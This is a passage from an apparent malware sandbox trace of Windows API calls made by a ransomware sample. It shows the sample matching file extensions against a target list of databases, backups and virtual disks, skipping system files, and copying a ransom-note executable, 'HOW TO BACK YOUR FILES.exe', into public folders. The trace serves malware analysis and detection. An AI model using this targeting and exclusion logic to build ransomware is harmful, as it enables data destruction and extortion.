	[0036.027] lstrlenW (lpString="edb") returned 3
	[0036.027] lstrcmpiW (lpString1="ini", lpString2="edb") returned 1
	[0036.027] lstrlenW (lpString="epim") returned 4
	[0036.027] lstrcmpiW (lpString1=".ini", lpString2="epim") returned -1
	[0036.027] lstrlenW (lpString="fcd") returned 3
	[0036.027] lstrcmpiW (lpString1="ini", lpString2="fcd") returned 1
	[0036.027] lstrlenW (lpString="fdb") returned 3
	[0036.027] lstrcmpiW (lpString1="ini", lpString2="fdb") returned 1
	[0036.027] lstrlenW (lpString="fic") returned 3
	[0036.027] lstrcmpiW (lpString1="ini", lpString2="fic") returned 1
	[0036.027] lstrlenW (lpString="flexolibrary") returned 12
	[0036.027] lstrlenW (lpString="fm5") returned 3
	[0036.027] lstrcmpiW (lpString1="ini", lpString2="fm5") returned 1
	[0036.027] lstrlenW (lpString="fmp") returned 3
	[0036.027] lstrcmpiW (lpString1="ini", lpString2="fmp") returned 1
	[0036.027] lstrlenW (lpString="fmp12") returned 5
	[0036.027] lstrcmpiW (lpString1="p.ini", lpString2="fmp12") returned 1
	[0036.027] lstrlenW (lpString="fmpsl") returned 5
	[0036.027] lstrcmpiW (lpString1="p.ini", lpString2="fmpsl") returned 1
	[0036.027] lstrlenW (lpString="fol") returned 3
	[0036.027] lstrcmpiW (lpString1="ini", lpString2="fol") returned 1
	[0036.027] lstrlenW (lpString="fp3") returned 3
	[0036.027] lstrcmpiW (lpString1="ini", lpString2="fp3") returned 1
	[0036.027] lstrlenW (lpString="fp4") returned 3
	[0036.027] lstrcmpiW (lpString1="ini", lpString2="fp4") returned 1
	[0036.027] lstrlenW (lpString="fp5") returned 3
	[0036.027] lstrcmpiW (lpString1="ini", lpString2="fp5") returned 1
	[0036.027] lstrlenW (lpString="fp7") returned 3
	[0036.027] lstrcmpiW (lpString1="ini", lpString2="fp7") returned 1
	[0036.027] lstrlenW (lpString="fpt") returned 3
	[0036.027] lstrcmpiW (lpString1="ini", lpString2="fpt") returned 1
	[0036.027] lstrlenW (lpString="frm") returned 3
	[0036.027] lstrcmpiW (lpString1="ini", lpString2="frm") returned 1
	[0036.027] lstrlenW (lpString="gdb") returned 3
	[0036.027] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0036.027] lstrlenW (lpString="gdb") returned 3
	[0036.027] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0036.028] lstrlenW (lpString="grdb") returned 4
	[0036.028] lstrcmpiW (lpString1=".ini", lpString2="grdb") returned -1
	[0036.028] lstrlenW (lpString="gwi") returned 3
	[0036.028] lstrcmpiW (lpString1="ini", lpString2="gwi") returned 1
	[0036.028] lstrlenW (lpString="hdb") returned 3
	[0036.028] lstrcmpiW (lpString1="ini", lpString2="hdb") returned 1
	[0036.028] lstrlenW (lpString="his") returned 3
	[0036.028] lstrcmpiW (lpString1="ini", lpString2="his") returned 1
	[0036.028] lstrlenW (lpString="ib") returned 2
	[0036.028] lstrcmpiW (lpString1="ni", lpString2="ib") returned 1
	[0036.028] lstrlenW (lpString="idb") returned 3
	[0036.028] lstrcmpiW (lpString1="ini", lpString2="idb") returned 1
	[0036.028] lstrlenW (lpString="ihx") returned 3
	[0036.028] lstrcmpiW (lpString1="ini", lpString2="ihx") returned 1
	[0036.028] lstrlenW (lpString="itdb") returned 4
	[0036.028] lstrcmpiW (lpString1=".ini", lpString2="itdb") returned -1
	[0036.028] lstrlenW (lpString="itw") returned 3
	[0036.028] lstrcmpiW (lpString1="ini", lpString2="itw") returned -1
	[0036.028] lstrlenW (lpString="jet") returned 3
	[0036.028] lstrcmpiW (lpString1="ini", lpString2="jet") returned -1
	[0036.028] lstrlenW (lpString="jtx") returned 3
	[0036.028] lstrcmpiW (lpString1="ini", lpString2="jtx") returned -1
	[0036.028] lstrlenW (lpString="kdb") returned 3
	[0036.028] lstrcmpiW (lpString1="ini", lpString2="kdb") returned -1
	[0036.028] lstrlenW (lpString="kexi") returned 4
	[0036.028] lstrcmpiW (lpString1=".ini", lpString2="kexi") returned -1
	[0036.028] lstrlenW (lpString="kexic") returned 5
	[0036.028] lstrcmpiW (lpString1="p.ini", lpString2="kexic") returned 1
	[0036.028] lstrlenW (lpString="kexis") returned 5
	[0036.028] lstrcmpiW (lpString1="p.ini", lpString2="kexis") returned 1
	[0036.028] lstrlenW (lpString="lgc") returned 3
	[0036.028] lstrcmpiW (lpString1="ini", lpString2="lgc") returned -1
	[0036.028] lstrlenW (lpString="lwx") returned 3
	[0036.028] lstrcmpiW (lpString1="ini", lpString2="lwx") returned -1
	[0036.028] lstrlenW (lpString="maf") returned 3
	[0036.028] lstrcmpiW (lpString1="ini", lpString2="maf") returned -1
	[0036.028] lstrlenW (lpString="maq") returned 3
	[0036.028] lstrcmpiW (lpString1="ini", lpString2="maq") returned -1
	[0036.029] lstrlenW (lpString="mar") returned 3
	[0036.029] lstrcmpiW (lpString1="ini", lpString2="mar") returned -1
	[0036.029] lstrlenW (lpString="marshal") returned 7
	[0036.029] lstrcmpiW (lpString1="top.ini", lpString2="marshal") returned 1
	[0036.029] lstrlenW (lpString="mas") returned 3
	[0036.029] lstrcmpiW (lpString1="ini", lpString2="mas") returned -1
	[0036.029] lstrlenW (lpString="mav") returned 3
	[0036.029] lstrcmpiW (lpString1="ini", lpString2="mav") returned -1
	[0036.029] lstrlenW (lpString="maw") returned 3
	[0036.029] lstrcmpiW (lpString1="ini", lpString2="maw") returned -1
	[0036.029] lstrlenW (lpString="mdbhtml") returned 7
	[0036.029] lstrcmpiW (lpString1="top.ini", lpString2="mdbhtml") returned 1
	[0036.029] lstrlenW (lpString="mdn") returned 3
	[0036.029] lstrcmpiW (lpString1="ini", lpString2="mdn") returned -1
	[0036.029] lstrlenW (lpString="mdt") returned 3
	[0036.029] lstrcmpiW (lpString1="ini", lpString2="mdt") returned -1
	[0036.029] lstrlenW (lpString="mfd") returned 3
	[0036.029] lstrcmpiW (lpString1="ini", lpString2="mfd") returned -1
	[0036.029] lstrlenW (lpString="mpd") returned 3
	[0036.029] lstrcmpiW (lpString1="ini", lpString2="mpd") returned -1
	[0036.029] lstrlenW (lpString="mrg") returned 3
	[0036.029] lstrcmpiW (lpString1="ini", lpString2="mrg") returned -1
	[0036.029] lstrlenW (lpString="mud") returned 3
	[0036.029] lstrcmpiW (lpString1="ini", lpString2="mud") returned -1
	[0036.029] lstrlenW (lpString="mwb") returned 3
	[0036.029] lstrcmpiW (lpString1="ini", lpString2="mwb") returned -1
	[0036.029] lstrlenW (lpString="myd") returned 3
	[0036.029] lstrcmpiW (lpString1="ini", lpString2="myd") returned -1
	[0036.029] lstrlenW (lpString="ndf") returned 3
	[0036.029] lstrcmpiW (lpString1="ini", lpString2="ndf") returned -1
	[0036.029] lstrlenW (lpString="nnt") returned 3
	[0036.029] lstrcmpiW (lpString1="ini", lpString2="nnt") returned -1
	[0036.029] lstrlenW (lpString="nrmlib") returned 6
	[0036.029] lstrcmpiW (lpString1="op.ini", lpString2="nrmlib") returned 1
	[0036.029] lstrlenW (lpString="ns2") returned 3
	[0036.029] lstrcmpiW (lpString1="ini", lpString2="ns2") returned -1
	[0036.029] lstrlenW (lpString="ns3") returned 3
	[0036.029] lstrcmpiW (lpString1="ini", lpString2="ns3") returned -1
	[0036.030] lstrlenW (lpString="ns4") returned 3
	[0036.030] lstrcmpiW (lpString1="ini", lpString2="ns4") returned -1
	[0036.030] lstrlenW (lpString="nsf") returned 3
	[0036.030] lstrcmpiW (lpString1="ini", lpString2="nsf") returned -1
	[0036.030] lstrlenW (lpString="nv") returned 2
	[0036.030] lstrcmpiW (lpString1="ni", lpString2="nv") returned -1
	[0036.030] lstrlenW (lpString="nv2") returned 3
	[0036.030] lstrcmpiW (lpString1="ini", lpString2="nv2") returned -1
	[0036.030] lstrlenW (lpString="nwdb") returned 4
	[0036.030] lstrcmpiW (lpString1=".ini", lpString2="nwdb") returned -1
	[0036.030] lstrlenW (lpString="nyf") returned 3
	[0036.030] lstrcmpiW (lpString1="ini", lpString2="nyf") returned -1
	[0036.030] lstrlenW (lpString="odb") returned 3
	[0036.030] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0036.030] lstrlenW (lpString="odb") returned 3
	[0036.030] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0036.030] lstrlenW (lpString="oqy") returned 3
	[0036.030] lstrcmpiW (lpString1="ini", lpString2="oqy") returned -1
	[0036.030] lstrlenW (lpString="ora") returned 3
	[0036.030] lstrcmpiW (lpString1="ini", lpString2="ora") returned -1
	[0036.030] lstrlenW (lpString="orx") returned 3
	[0036.030] lstrcmpiW (lpString1="ini", lpString2="orx") returned -1
	[0036.030] lstrlenW (lpString="owc") returned 3
	[0036.030] lstrcmpiW (lpString1="ini", lpString2="owc") returned -1
	[0036.030] lstrlenW (lpString="p96") returned 3
	[0036.030] lstrcmpiW (lpString1="ini", lpString2="p96") returned -1
	[0036.030] lstrlenW (lpString="p97") returned 3
	[0036.030] lstrcmpiW (lpString1="ini", lpString2="p97") returned -1
	[0036.030] lstrlenW (lpString="pan") returned 3
	[0036.030] lstrcmpiW (lpString1="ini", lpString2="pan") returned -1
	[0036.030] lstrlenW (lpString="pdb") returned 3
	[0036.030] lstrcmpiW (lpString1="ini", lpString2="pdb") returned -1
	[0036.030] lstrlenW (lpString="pdm") returned 3
	[0036.030] lstrcmpiW (lpString1="ini", lpString2="pdm") returned -1
	[0036.030] lstrlenW (lpString="pnz") returned 3
	[0036.030] lstrcmpiW (lpString1="ini", lpString2="pnz") returned -1
	[0036.030] lstrlenW (lpString="qry") returned 3
	[0036.030] lstrcmpiW (lpString1="ini", lpString2="qry") returned -1
	[0036.031] lstrlenW (lpString="qvd") returned 3
	[0036.031] lstrcmpiW (lpString1="ini", lpString2="qvd") returned -1
	[0036.031] lstrlenW (lpString="rbf") returned 3
	[0036.031] lstrcmpiW (lpString1="ini", lpString2="rbf") returned -1
	[0036.031] lstrlenW (lpString="rctd") returned 4
	[0036.031] lstrcmpiW (lpString1=".ini", lpString2="rctd") returned -1
	[0036.031] lstrlenW (lpString="rod") returned 3
	[0036.031] lstrcmpiW (lpString1="ini", lpString2="rod") returned -1
	[0036.031] lstrlenW (lpString="rodx") returned 4
	[0036.031] lstrcmpiW (lpString1=".ini", lpString2="rodx") returned -1
	[0036.031] lstrlenW (lpString="rpd") returned 3
	[0036.031] lstrcmpiW (lpString1="ini", lpString2="rpd") returned -1
	[0036.031] lstrlenW (lpString="rsd") returned 3
	[0036.031] lstrcmpiW (lpString1="ini", lpString2="rsd") returned -1
	[0036.031] lstrlenW (lpString="sas7bdat") returned 8
	[0036.031] lstrcmpiW (lpString1="ktop.ini", lpString2="sas7bdat") returned -1
	[0036.031] lstrlenW (lpString="sbf") returned 3
	[0036.031] lstrcmpiW (lpString1="ini", lpString2="sbf") returned -1
	[0036.031] lstrlenW (lpString="scx") returned 3
	[0036.031] lstrcmpiW (lpString1="ini", lpString2="scx") returned -1
	[0036.031] lstrlenW (lpString="sdb") returned 3
	[0036.031] lstrcmpiW (lpString1="ini", lpString2="sdb") returned -1
	[0036.031] lstrlenW (lpString="sdc") returned 3
	[0036.031] lstrcmpiW (lpString1="ini", lpString2="sdc") returned -1
	[0036.031] lstrlenW (lpString="sdf") returned 3
	[0036.031] lstrcmpiW (lpString1="ini", lpString2="sdf") returned -1
	[0036.031] lstrlenW (lpString="sis") returned 3
	[0036.031] lstrcmpiW (lpString1="ini", lpString2="sis") returned -1
	[0036.031] lstrlenW (lpString="spq") returned 3
	[0036.031] lstrcmpiW (lpString1="ini", lpString2="spq") returned -1
	[0036.031] lstrlenW (lpString="te") returned 2
	[0036.031] lstrcmpiW (lpString1="ni", lpString2="te") returned -1
	[0036.031] lstrlenW (lpString="teacher") returned 7
	[0036.031] lstrcmpiW (lpString1="top.ini", lpString2="teacher") returned 1
	[0036.031] lstrlenW (lpString="tmd") returned 3
	[0036.031] lstrcmpiW (lpString1="ini", lpString2="tmd") returned -1
	[0036.031] lstrlenW (lpString="tps") returned 3
	[0036.031] lstrcmpiW (lpString1="ini", lpString2="tps") returned -1
	[0036.032] lstrlenW (lpString="trc") returned 3
	[0036.032] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0036.032] lstrlenW (lpString="trc") returned 3
	[0036.032] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0036.032] lstrlenW (lpString="trm") returned 3
	[0036.032] lstrcmpiW (lpString1="ini", lpString2="trm") returned -1
	[0036.032] lstrlenW (lpString="udb") returned 3
	[0036.032] lstrcmpiW (lpString1="ini", lpString2="udb") returned -1
	[0036.032] lstrlenW (lpString="udl") returned 3
	[0036.032] lstrcmpiW (lpString1="ini", lpString2="udl") returned -1
	[0036.032] lstrlenW (lpString="usr") returned 3
	[0036.032] lstrcmpiW (lpString1="ini", lpString2="usr") returned -1
	[0036.032] lstrlenW (lpString="v12") returned 3
	[0036.032] lstrcmpiW (lpString1="ini", lpString2="v12") returned -1
	[0036.032] lstrlenW (lpString="vis") returned 3
	[0036.032] lstrcmpiW (lpString1="ini", lpString2="vis") returned -1
	[0036.032] lstrlenW (lpString="vpd") returned 3
	[0036.032] lstrcmpiW (lpString1="ini", lpString2="vpd") returned -1
	[0036.032] lstrlenW (lpString="vvv") returned 3
	[0036.032] lstrcmpiW (lpString1="ini", lpString2="vvv") returned -1
	[0036.032] lstrlenW (lpString="wdb") returned 3
	[0036.032] lstrcmpiW (lpString1="ini", lpString2="wdb") returned -1
	[0036.032] lstrlenW (lpString="wmdb") returned 4
	[0036.032] lstrcmpiW (lpString1=".ini", lpString2="wmdb") returned -1
	[0036.032] lstrlenW (lpString="wrk") returned 3
	[0036.032] lstrcmpiW (lpString1="ini", lpString2="wrk") returned -1
	[0036.032] lstrlenW (lpString="xdb") returned 3
	[0036.032] lstrcmpiW (lpString1="ini", lpString2="xdb") returned -1
	[0036.032] lstrlenW (lpString="xld") returned 3
	[0036.032] lstrcmpiW (lpString1="ini", lpString2="xld") returned -1
	[0036.032] lstrlenW (lpString="xmlff") returned 5
	[0036.032] lstrcmpiW (lpString1="p.ini", lpString2="xmlff") returned -1
	[0036.032] FindNextFileW (in: hFindFile=0x5ca1d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2dbbd650, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2dbbd650, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0036.032] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0036.032] FindNextFileW (in: hFindFile=0x5ca1d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2837806f, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x289b7a3b, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a29e5c, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x36c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RecordedTV.library-ms", cAlternateFileName="RECORD~1.LIB")) returned 1
	[0036.032] lstrcmpiW (lpString1="RecordedTV.library-ms", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0036.032] lstrcmpiW (lpString1="RecordedTV.library-ms", lpString2="Apollon865.txt.exe") returned 1
	[0036.033] lstrcmpiW (lpString1="RecordedTV.library-ms", lpString2=".") returned 1
	[0036.033] lstrcmpiW (lpString1="RecordedTV.library-ms", lpString2="..") returned 1
	[0036.033] lstrcmpiW (lpString1="RecordedTV.library-ms", lpString2="windows") returned -1
	[0036.033] lstrcmpiW (lpString1="RecordedTV.library-ms", lpString2="bootmgr") returned 1
	[0036.033] lstrcmpiW (lpString1="RecordedTV.library-ms", lpString2="temp") returned -1
	[0036.033] lstrcmpiW (lpString1="RecordedTV.library-ms", lpString2="pagefile.sys") returned 1
	[0036.033] lstrcmpiW (lpString1="RecordedTV.library-ms", lpString2="boot") returned 1
	[0036.033] lstrcmpiW (lpString1="RecordedTV.library-ms", lpString2="ids.txt") returned 1
	[0036.033] lstrcmpiW (lpString1="RecordedTV.library-ms", lpString2="ntuser.dat") returned 1
	[0036.033] lstrcmpiW (lpString1="RecordedTV.library-ms", lpString2="perflogs") returned 1
	[0036.033] lstrcmpiW (lpString1="RecordedTV.library-ms", lpString2="MSBuild") returned 1
	[0036.033] lstrlenW (lpString="RecordedTV.library-ms") returned 21
	[0036.033] lstrlenW (lpString="C:\\Users\\Public\\Libraries\\desktop.ini") returned 37
	[0036.033] lstrcpyW (in: lpString1=0x2d3e584, lpString2="RecordedTV.library-ms" | out: lpString1="RecordedTV.library-ms") returned="RecordedTV.library-ms"
	[0036.033] lstrlenW (lpString="RecordedTV.library-ms") returned 21
	[0036.033] lstrlenW (lpString="Apollon865") returned 10
	[0036.033] lstrcmpiW (lpString1="library-ms", lpString2="Apollon865") returned 1
	[0036.033] lstrlenW (lpString=".dll") returned 4
	[0036.033] lstrcmpiW (lpString1="RecordedTV.library-ms", lpString2=".dll") returned 1
	[0036.033] lstrlenW (lpString=".lnk") returned 4
	[0036.033] lstrcmpiW (lpString1="RecordedTV.library-ms", lpString2=".lnk") returned 1
	[0036.033] lstrlenW (lpString=".ini") returned 4
	[0036.033] lstrcmpiW (lpString1="RecordedTV.library-ms", lpString2=".ini") returned 1
	[0036.033] lstrlenW (lpString=".sys") returned 4
	[0036.033] lstrcmpiW (lpString1="RecordedTV.library-ms", lpString2=".sys") returned 1
	[0036.033] lstrlenW (lpString="RecordedTV.library-ms") returned 21
	[0036.033] lstrlenW (lpString="bak") returned 3
	[0036.033] lstrcmpiW (lpString1="-ms", lpString2="bak") returned 1
	[0036.033] lstrlenW (lpString="ba_") returned 3
	[0036.033] lstrcmpiW (lpString1="-ms", lpString2="ba_") returned 1
	[0036.033] lstrlenW (lpString="dbb") returned 3
	[0036.033] lstrcmpiW (lpString1="-ms", lpString2="dbb") returned 1
	[0036.033] lstrlenW (lpString="vmdk") returned 4
	[0036.033] lstrcmpiW (lpString1="y-ms", lpString2="vmdk") returned 1
	[0036.033] lstrlenW (lpString="rar") returned 3
	[0036.033] lstrcmpiW (lpString1="-ms", lpString2="rar") returned -1
	[0036.033] lstrlenW (lpString="zip") returned 3
	[0036.034] lstrcmpiW (lpString1="-ms", lpString2="zip") returned -1
	[0036.034] lstrlenW (lpString="tgz") returned 3
	[0036.034] lstrcmpiW (lpString1="-ms", lpString2="tgz") returned -1
	[0036.034] lstrlenW (lpString="vbox") returned 4
	[0036.034] lstrcmpiW (lpString1="y-ms", lpString2="vbox") returned 1
	[0036.034] lstrlenW (lpString="vdi") returned 3
	[0036.034] lstrcmpiW (lpString1="-ms", lpString2="vdi") returned -1
	[0036.034] lstrlenW (lpString="vhd") returned 3
	[0036.034] lstrcmpiW (lpString1="-ms", lpString2="vhd") returned -1
	[0036.034] lstrlenW (lpString="vhdx") returned 4
	[0036.034] lstrcmpiW (lpString1="y-ms", lpString2="vhdx") returned 1
	[0036.034] lstrlenW (lpString="avhd") returned 4
	[0036.034] lstrcmpiW (lpString1="y-ms", lpString2="avhd") returned 1
	[0036.034] lstrlenW (lpString="db") returned 2
	[0036.034] lstrcmpiW (lpString1="ms", lpString2="db") returned 1
	[0036.034] lstrlenW (lpString="db2") returned 3
	[0036.034] lstrcmpiW (lpString1="-ms", lpString2="db2") returned 1
	[0036.034] lstrlenW (lpString="db3") returned 3
	[0036.034] lstrcmpiW (lpString1="-ms", lpString2="db3") returned 1
	[0036.034] lstrlenW (lpString="dbf") returned 3
	[0036.034] lstrcmpiW (lpString1="-ms", lpString2="dbf") returned 1
	[0036.034] lstrlenW (lpString="mdf") returned 3
	[0036.034] lstrcmpiW (lpString1="-ms", lpString2="mdf") returned 1
	[0036.034] lstrlenW (lpString="mdb") returned 3
	[0036.034] lstrcmpiW (lpString1="-ms", lpString2="mdb") returned 1
	[0036.034] lstrlenW (lpString="sql") returned 3
	[0036.034] lstrcmpiW (lpString1="-ms", lpString2="sql") returned -1
	[0036.034] lstrlenW (lpString="sqlite") returned 6
	[0036.034] lstrcmpiW (lpString1="ary-ms", lpString2="sqlite") returned -1
	[0036.034] lstrlenW (lpString="sqlite3") returned 7
	[0036.034] lstrcmpiW (lpString1="rary-ms", lpString2="sqlite3") returned -1
	[0036.034] lstrlenW (lpString="sqlitedb") returned 8
	[0036.034] lstrcmpiW (lpString1="brary-ms", lpString2="sqlitedb") returned -1
	[0036.034] lstrlenW (lpString="xml") returned 3
	[0036.034] lstrcmpiW (lpString1="-ms", lpString2="xml") returned -1
	[0036.034] lstrlenW (lpString="$er") returned 3
	[0036.034] lstrcmpiW (lpString1="-ms", lpString2="$er") returned 1
	[0036.034] lstrlenW (lpString="4dd") returned 3
	[0036.035] lstrcmpiW (lpString1="-ms", lpString2="4dd") returned 1
	[0036.035] lstrlenW (lpString="4dl") returned 3
	[0036.035] lstrcmpiW (lpString1="-ms", lpString2="4dl") returned 1
	[0036.035] lstrlenW (lpString="^^^") returned 3
	[0036.035] lstrcmpiW (lpString1="-ms", lpString2="^^^") returned 1
	[0036.035] lstrlenW (lpString="abs") returned 3
	[0036.035] lstrcmpiW (lpString1="-ms", lpString2="abs") returned 1
	[0036.035] lstrlenW (lpString="abx") returned 3
	[0036.035] lstrcmpiW (lpString1="-ms", lpString2="abx") returned 1
	[0036.035] lstrlenW (lpString="accdb") returned 5
	[0036.035] lstrcmpiW (lpString1="ry-ms", lpString2="accdb") returned 1
	[0036.035] lstrlenW (lpString="accdc") returned 5
	[0036.035] lstrcmpiW (lpString1="ry-ms", lpString2="accdc") returned 1
	[0036.035] lstrlenW (lpString="accde") returned 5
	[0036.035] lstrcmpiW (lpString1="ry-ms", lpString2="accde") returned 1
	[0036.035] lstrlenW (lpString="accdr") returned 5
	[0036.035] lstrcmpiW (lpString1="ry-ms", lpString2="accdr") returned 1
	[0036.035] lstrlenW (lpString="accdt") returned 5
	[0036.035] lstrcmpiW (lpString1="ry-ms", lpString2="accdt") returned 1
	[0036.035] lstrlenW (lpString="accdw") returned 5
	[0036.035] lstrcmpiW (lpString1="ry-ms", lpString2="accdw") returned 1
	[0036.035] lstrlenW (lpString="accft") returned 5
	[0036.035] lstrcmpiW (lpString1="ry-ms", lpString2="accft") returned 1
	[0036.035] lstrlenW (lpString="adb") returned 3
	[0036.035] lstrcmpiW (lpString1="-ms", lpString2="adb") returned 1
	[0036.035] lstrlenW (lpString="adb") returned 3
	[0036.035] lstrcmpiW (lpString1="-ms", lpString2="adb") returned 1
	[0036.035] lstrlenW (lpString="ade") returned 3
	[0036.035] lstrcmpiW (lpString1="-ms", lpString2="ade") returned 1
	[0036.035] lstrlenW (lpString="adf") returned 3
	[0036.035] lstrcmpiW (lpString1="-ms", lpString2="adf") returned 1
	[0036.035] lstrlenW (lpString="adn") returned 3
	[0036.035] lstrcmpiW (lpString1="-ms", lpString2="adn") returned 1
	[0036.035] lstrlenW (lpString="adp") returned 3
	[0036.035] lstrcmpiW (lpString1="-ms", lpString2="adp") returned 1
	[0036.035] lstrlenW (lpString="alf") returned 3
	[0036.035] lstrcmpiW (lpString1="-ms", lpString2="alf") returned 1
	[0036.036] lstrlenW (lpString="ask") returned 3
	[0036.036] lstrcmpiW (lpString1="-ms", lpString2="ask") returned 1
	[0036.036] lstrlenW (lpString="btr") returned 3
	[0036.036] lstrcmpiW (lpString1="-ms", lpString2="btr") returned 1
	[0036.036] lstrlenW (lpString="cat") returned 3
	[0036.036] lstrcmpiW (lpString1="-ms", lpString2="cat") returned 1
	[0036.036] lstrlenW (lpString="cdb") returned 3
	[0036.036] lstrcmpiW (lpString1="-ms", lpString2="cdb") returned 1
	[0036.036] lstrlenW (lpString="ckp") returned 3
	[0036.036] lstrcmpiW (lpString1="-ms", lpString2="ckp") returned 1
	[0036.036] lstrlenW (lpString="cma") returned 3
	[0036.036] lstrcmpiW (lpString1="-ms", lpString2="cma") returned 1
	[0036.036] lstrlenW (lpString="cpd") returned 3
	[0036.036] lstrcmpiW (lpString1="-ms", lpString2="cpd") returned 1
	[0036.036] lstrlenW (lpString="dacpac") returned 6
	[0036.036] lstrcmpiW (lpString1="ary-ms", lpString2="dacpac") returned -1
	[0036.036] lstrlenW (lpString="dad") returned 3
	[0036.036] lstrcmpiW (lpString1="-ms", lpString2="dad") returned 1
	[0036.036] lstrlenW (lpString="dadiagrams") returned 10
	[0036.036] lstrcmpiW (lpString1="library-ms", lpString2="dadiagrams") returned 1
	[0036.036] lstrlenW (lpString="daschema") returned 8
	[0036.036] lstrcmpiW (lpString1="brary-ms", lpString2="daschema") returned -1
	[0036.036] lstrlenW (lpString="db-journal") returned 10
	[0036.036] lstrcmpiW (lpString1="library-ms", lpString2="db-journal") returned 1
	[0036.036] lstrlenW (lpString="db-shm") returned 6
	[0036.036] lstrcmpiW (lpString1="ary-ms", lpString2="db-shm") returned -1
	[0036.036] lstrlenW (lpString="db-wal") returned 6
	[0036.036] lstrcmpiW (lpString1="ary-ms", lpString2="db-wal") returned -1
	[0036.036] lstrlenW (lpString="dbc") returned 3
	[0036.036] lstrcmpiW (lpString1="-ms", lpString2="dbc") returned 1
	[0036.036] lstrlenW (lpString="dbs") returned 3
	[0036.036] lstrcmpiW (lpString1="-ms", lpString2="dbs") returned 1
	[0036.036] lstrlenW (lpString="dbt") returned 3
	[0036.036] lstrcmpiW (lpString1="-ms", lpString2="dbt") returned 1
	[0036.036] lstrlenW (lpString="dbv") returned 3
	[0036.037] lstrcmpiW (lpString1="-ms", lpString2="dbv") returned 1
	[0036.037] lstrlenW (lpString="dbx") returned 3
	[0036.037] lstrcmpiW (lpString1="-ms", lpString2="dbx") returned 1
	[0036.037] lstrlenW (lpString="dcb") returned 3
	[0036.037] lstrcmpiW (lpString1="-ms", lpString2="dcb") returned 1
	[0036.037] lstrcmpiW (lpString1="-ms", lpString2="dct") returned 1
	[0036.037] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\Public\\Favorites", iMaxLength=260 | out: lpString1="C:\\Users\\Public\\Favorites") returned="C:\\Users\\Public\\Favorites"
	[0036.037] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ca190 | out: hHeap=0x580000) returned 1
	[0036.037] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ae8 | out: hHeap=0x580000) returned 1
	[0036.037] lstrlenW (lpString="C:\\Users\\Public\\Favorites") returned 25
	[0036.037] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Public\\Favorites" | out: lpString1="C:\\Users\\Public\\Favorites") returned="C:\\Users\\Public\\Favorites"
	[0036.037] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0036.037] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Public\\Favorites\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\public\\favorites\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0036.042] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0036.042] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Favorites\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dc09910, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2dc09910, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca190
	[0036.042] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0036.042] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0036.042] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0036.042] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dc09910, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2dc09910, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0036.042] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0036.042] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0036.042] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0036.042] lstrcmpiW (lpString1="..", lpString2="..") returned 0
